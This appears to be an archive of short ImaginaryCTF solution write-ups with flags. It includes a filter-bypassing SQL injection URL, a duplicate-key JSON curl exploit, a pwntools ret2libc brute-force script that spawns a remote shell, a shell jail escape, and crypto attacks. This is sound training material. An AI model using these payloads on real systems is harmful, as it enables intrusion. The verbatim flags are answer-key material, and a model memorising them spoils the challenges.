Archived Challenges - December 2022

sanity check too hard

ictf{w3lcom3_to_r0und_29!}

Entering System.Process.callCommand "/bin/sh" gives a shell.

ictf{is_it_really_a_jail_if_there_are_no_guards?}

dig +short AAAA number6challenge.imaginaryctf.org | sed 's/://g' | xxd -r -p

ictf{ipv6?_why?}

from base64 import b64decode

ct = open('message.txt').read()

segments = ['ABCDEFg', "aBCdefg", "ABcDEfG", "ABCDefG", "aBCdeFG", "AbCDeFG", "AbCDEFG", "ABCdefg", "ABCDEFG", "ABCdeFG", "ABCdEFG", "abCDEFG", "AbcDEFg", "aBCDEfG", "AbcDEFG", "AbcdEFG"]

out = ''

while len(ct) > 0:
    out += hex(segments.index(ct[:7]))[-1]
    ct = ct[7:]

out = bytes.fromhex(out)
for i in range(5):
    print(out)
    out = b64decode(out)
print(out)

As the title and description imply, these characters are the wires that are on for a 7-segment display. Converting the message as the output of 7-segment displays yields hex. Turning the hex into the corresponding ASCII values gives base64, which can then be decoded 5 times (for a total of 7 parts) into the flag.

ictf{sorry_most_of_the_parts_are_trivial}

The server imports the uuid5 function as uuid4, so the uuid for a given username will always be the same.

The flag is at http://puzzler7.imaginaryctf.org:8000/user/13d68dfc-7d23-5ce9-b8bc-62819792a934

ictf{don't_you_hate_it_when_someone_lies_to_you_about_what_function_is_being_used?}

Use python format string to leak secret_key and FLAG_ID, then forge flask session to get flag.

https://imaginaryctf.org/f/VNdAv#exp.py

ictf{a_really_easy_python_fmtstr}

curl https://ctfchallengeshop.fly.dev/ -H "Content-Type: application/json" -d '{"orderId": 1, "cart": [{"id": 9, "qty": -10000, "qty": 1}, {"id": 10, "qty": 1}]}' This challenge is stolen from https://github.com/BishopFox/json-interop-vuln-labs/tree/master/lab1. The idea is that the two separate JSON parsers handle edge cases differently.

ictf{json_problems_for_days_11a39}

http://puzzler7.imaginaryctf.org:8004/?lastname=%27+unioORn+selecORt+*%2C+nulORl+froORm+users%3B%2F*

or is one of the last keywords to be checked, so we can hide it in other keywords, so that those keywords appear when the or is removed, such as selecORt turning into select.

The payload ' unioORn selecORt *, nulORl froORm users;/* works to get the flag, turning into ' union select *, null from users;/* after the filtering is applied.

ictf{poor_mrs_montgomery_or_should_I_say_mrs_mtgomery}

The binary takes each character of the flag, and sleeps for 2**[index of char] seconds before printing it. This way, the characters are printed in the correct order.

The easiest way to solve, imo, is to patch out the left-shift that makes the sleep times grow exponentially, by replacing the mov EDI, EAX at 0x1013d5 with mov EDI, ECX. Alternatively, take the two arrays and match the correct index to the correct character.

ictf{ex@ctlyTH1RTYON3char5lonG}

The main function reads 4 bytes at a time then try to dereference it directly, but the expected segfault somehow doesn't work at all. If you use strace then it is easy to see there is some suspicious signals happening. There is also an extra function in .init_array, but IDA will decompile it as JUMPOUT. Read the assembly to see there is a simple push + ret obfuscation, so you can fill it with nop fix the function addresses to make IDA decompiler work again. That init function simply register a SIGSEGV signal handler, but the handler function is broken in decompiler too, so you need to fix another push + ret obfuscation again. It is basically xoring segfaulted address si->si_addr (flag input) with a global array, and the success condition is the global array being all zeros. Simply extract that array and using the flag prefix ictf to reverse those xor to get the flag.

Source code: https://cdn.discordapp.com/attachments/884399344512557056/1052635205195808940/main.c

ictf{hiding_the_flag_checker_in_segfault_handler_lol}

The combinify function is just adding two numbers by sleeping for the first, then the second, then measuring the elasped time.

ct = [86, 19, 20304, 3864100, 720160578, 4105564729, 1710554160, 3956393540, 3631228131, 3844144272, 3159071183, 1935271076, 1880195787, 286659220, 2637473496, 3337089417, 902437867, 2684126330, 467677413, 3386842748, 1385254386, 96755826, 3474961133, 1024955004, 1633639851, 2562422466, 468365725, 219405782, 1415425177, 617316294, 3700754605, 2413949375, 2673249190, 3602164671, 1955316913, 1635036104, 2604773015, 1741032651, 2270889642, 2164201674, 732877205, 3553556446, 3683532177, 1741647566, 1380355995, 1375675096, 530249863, 852697830, 2900968595, 2314256588, 4131952791, 1359561944, 3807160204, 1948933081, 504789668]

print(bytes((ct[i]+ct[i+1])%256 for i in range(len(ct)-1)))```

ictf{it's_so_late_and_i'm_so_sleepy_but_so_is_my_code}

getStrongPrime doesn't guarantee p to be safe, so it is easy to see p-1 have many small prime factors. For each prime factor q we can solve discrete log in that subgroup to get flag = x (mod q) then use CRT to recover the flag. The padding can be handled by guessing the flag length to get another equation to the CRT system.

https://imaginaryctf.org/f/Xvo6P#solve.sage

ictf{it_is_not_so_strong_isn't_it?}

Tonelli-Shanks/RESSOL algorithmn go brrr. Also p may be greater than l so one must account for these cases. (aaaannnnd i've chosen a series of values of c,n,f and l such that you have to account for that)

https://imaginaryctf.org/f/JmXAu#solve.py

ictf{brOken_bY_aLb3rTo_t0NelLi_aNd_dAni3L_sHankS_s1nCe_tHe_18and1900s}

First, you can view this account on Etherscan, then recover the public key from the from that transaction (ECDSA signature). Now we have the public key and the known bits of private key, use Meet-In-The-Middle attack (or BSGS) to solve ECDLP to find the private key (flag).

https://imaginaryctf.org/f/rAZWB#solve.py

ictf{ezMITM}

https://imaginaryctf.org/f/8XVUP#x.py

The provided program generates a series of 16 bit pseudorandom numbers with an LCG with modulus 2**32. We can recover the first two random numbers because the flag starts with ictf, but we only know half of the third number, as we know the fifth character of the flag is { but we don't know the sixth. However, we can brute force this byte, and attempt to crack the LCG for all 256 possible combinations. The above solve script generates all possible flags - grep the output for }' to find the true flag.

ictf{the_length_of_this_fl4g_is_conveniently_a_multiple_of_two!}

https://imaginaryctf.org/f/L4GdF#x.py

The hmac function here adds the secret key after the text, which means that if two messages have the same hash, they will have the same hmac. Thus, taking the first 320 bytes from the SHA1 collision at https://shattered.io/ yields the flag.

ictf{a_n34t_property_0f_hashes}

The program gives both the iv used and ciphertext. Xoring out each block in the CBC chain from end to start enables one to fake a token with the right parameters to buy the flag https://imaginaryctf.org/f/0f8W3

ictf{I_know...in_my_bones...A_Tarnished_cannot_become_a_Lord._Not_even_you._A_man_cannot_kill_a_god...bfzbhfuvgVg}

from pwn import *

count = 0

while True:
    count += 1
    if count%10 == 0:
        print(count)
    # p = process(["./persistence"])
    p = remote('puzzler7.imaginaryctf.org', 8002)

    payload = b'a'*28

    # SYSTEM = 0x4c800
    # BINSH = 0x1b5faa
    SYSTEM = 0x3d3d0
    BINSH = 0x17e1db
    desired_base = 0xf7d7e000

    SYSTEM += desired_base
    BINSH += desired_base
    payload += p32(SYSTEM) + p32(0x42424242) + p32(BINSH)

    p.sendline(payload)
    try:
        p.sendline('ls')
        print(p.recv(timeout=1))
        print("win! ran", count, "times")
        p.interactive()
    except EOFError:
        continue
    except BrokenPipeError:
        continue

There's a trivial buffer overflow in vuln. Unfortunately, there's ASLR on the server, and there's no library functions you can use to leak ASLR. However, because it's a 32 bit binary, there's only 9 bits of randomness on the libc ASLR, and thus you can brute force it. Additionally, you can get the correct libc version from the Dockerfile to get the right offsets, and do a ROP.

ictf{i_reallllllly_hope_this_doesn't_break_anything_on_my_server...}

There is an UAF if you choose to exit, so you can leak heap address and get another address pointing to sh string. Overwrite the heap struct with nodes[1]="sh" and partial overwrite cmp to system@plt then heap_pop() to get shell.

https://imaginaryctf.org/f/uZAcu#solve.py

ictf{the_best_christmas_present_is_a_shell!}

Raw inflate with python or CyberChef or whatever

ictf{no_header_no_problem!1!11111!1!!!!11!!!11!!!!!1!1!!!1111!1111111!1111111}

The directory entry for flag.txt has been changed to point to the data for fake.txt. A binwalk (binwalk -Me out.zip) will reveal the extra entry, although the filenames for the actual entries have been swapped, so binwalk will pull up the true flag under fake.txt.

ictf{this_needs_to_be_a_nontrivial_length_flag_or_else_it_won't_get_compressed}